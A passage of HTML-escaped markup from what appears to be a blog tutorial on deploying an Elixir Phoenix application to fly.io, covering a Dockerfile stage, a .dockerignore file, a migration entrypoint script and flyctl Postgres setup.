&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; bitwalker/alpine-elixir&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;latest
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Make sure that this PORT is equal to the one above&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# and to the one in fly.toml&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;=4000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_ENV&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;=prod
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;WORKDIR&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; /app
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Create a unprivileged user to run the app&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# This is a common security practice to avoid&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# giving root permissions to the application which attackers&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# could potentially abuse if they gain access to the application.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;phoenix&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;HOME&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;=/home/&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;APP_DIR&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;HOME&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/app&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;RUN&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;  addgroup&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;-g&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1000&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;-S&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;&amp;&amp;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;56&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;adduser&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;57&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;-s&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/bin/sh&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;58&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;-u&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1000&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;59&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;-G&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;60&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;-h&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;HOME&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;61&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;-D&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;&amp;&amp;&lt;/span&gt; \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;62&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;su&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;USER&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;sh&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;mkdir &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;APP_DIR&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;63&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;64&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Copy the files necessary to run the application&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;65&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;COPY&lt;/span&gt; --from=phx-builder --chown=&quot;$&amp;lbrace;USER&amp;rbrace;&quot;:&quot;$&amp;lbrace;USER&amp;rbrace;&quot; /app/_build/prod/rel/my_app ./
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;66&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;COPY&lt;/span&gt; --from=phx-builder --chown=&quot;$&amp;lbrace;USER&amp;rbrace;&quot;:&quot;$&amp;lbrace;USER&amp;rbrace;&quot; /app/entrypoint.sh ./
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;67&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;68&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Define the entrypoint and the command it should execute&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;69&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENTRYPOINT&lt;/span&gt; [&quot;/app/entrypoint.sh&quot;]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;70&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;CMD&lt;/span&gt; [&quot;bin/my_app&quot;, &quot;start&quot;]
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This Dockerfile defines a &lt;a href=&quot;https://hexdocs.pm/phoenix/releases.html#containers&quot;&gt;multi-stage build process&lt;/a&gt; and creates a &lt;a href=&quot;https://hexdocs.pm/mix/Mix.Tasks.Release.html&quot;&gt;Mix.Release&lt;/a&gt; of the application. Alex Koutmos wrote about this topic in great depth. I recommend reading &lt;a href=&quot;https://akoutmos.com/post/multipart-docker-and-elixir-1.9-releases/&quot;&gt;his fabulous blog post&lt;/a&gt; to learn more about it.&lt;/p&gt;
&lt;p&gt;To speed up the build process you can define the following rules in your &lt;code&gt;.dockerignore&lt;/code&gt; file. They will prevent Docker from uploading the specified folders to the build context.&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-dockerfile&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;assets/node_modules
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;_build
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;deps
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;test
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;mix.lock
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;package-lock.json
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The last step is to create an &lt;code&gt;entrypoint.sh&lt;/code&gt; script, which migrates our database and starts our application.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;entrypoint.sh&lt;/code&gt; file and copy the following code into it:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Docker entrypoint script.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/app/bin/my_app&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;eval&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;MyApp.Release.migrate&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;exec&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We use Mix.Release&apos;s &lt;a href=&quot;https://hexdocs.pm/mix/Mix.Tasks.Release.html#module-one-off-commands-eval-and-rpc&quot;&gt;eval&lt;/a&gt; command to run the &lt;code&gt;migrate&lt;/code&gt; function of our &lt;code&gt;MyApp.Release&lt;/code&gt; module. This will migrate the database for us. We don&apos;t need to create the database first since fly.io will take care of that for us.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#deploying-to-flyio&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;deploying-to-flyio&quot;&gt;&lt;/a&gt;Deploying to fly.io&lt;/h2&gt;
&lt;p&gt;We created an application and configured our Docker build process. Now, it&apos;s time to let our application fly.io (Badumm, tsssss).&lt;/p&gt;
&lt;p&gt;If you haven&apos;t already, please install the &lt;a href=&quot;https://fly.io/docs/getting-started/installing-flyctl/&quot;&gt;flyctl&lt;/a&gt; command line interface and sign up or log in to your fly.io account.&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# To sign up&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;flyctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;auth&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;signup&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# To log in&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;flyctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;auth&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;login&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that you are logged in, let&apos;s first provision our app with a &lt;code&gt;postgres&lt;/code&gt; instance. In order to create a new postgres cluster, run:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;flyctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;create&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will ask you a few questions. I added example answers below:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;?&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;App&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;name:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;my-app-postgres&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Automatically&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;selected&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;personal&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;organization:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Your&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Name&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;?&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Select&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;region:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;fra&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Frankfurt,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Germany&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;?&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Select&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;VM&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;size:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;shared-cpu-**1x**&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;256&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;?&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Volume&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;size&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;GB&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;: &lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Creating&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;cluster&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;my-app-postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;organization&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;personal&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;cluster&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;my-app-postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;created&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;Username:&lt;/span&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;Password:&lt;/span&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;BASE64-PASSWORD-HERE&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;Hostname:&lt;/span&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;my-app-postgres.internal&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;Proxy&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Port:&lt;/span&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;5432&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;PG&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Port:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;5433&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Save&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;your&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;credentials&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;secure&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;place,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;you&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;will&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;be&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;able&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;see&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;them&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;again!&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Monitoring&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Deployment&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;desired,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;placed,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;healthy,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;unhealthy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;health&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;checks:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;6&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;total,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;6&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;passing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;v0&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deployed&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;successfully&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;Connect&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;Any&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;app&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;within&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;the&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;personal&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;organization&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;can&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;connect&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;using&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;the&lt;/span&gt;
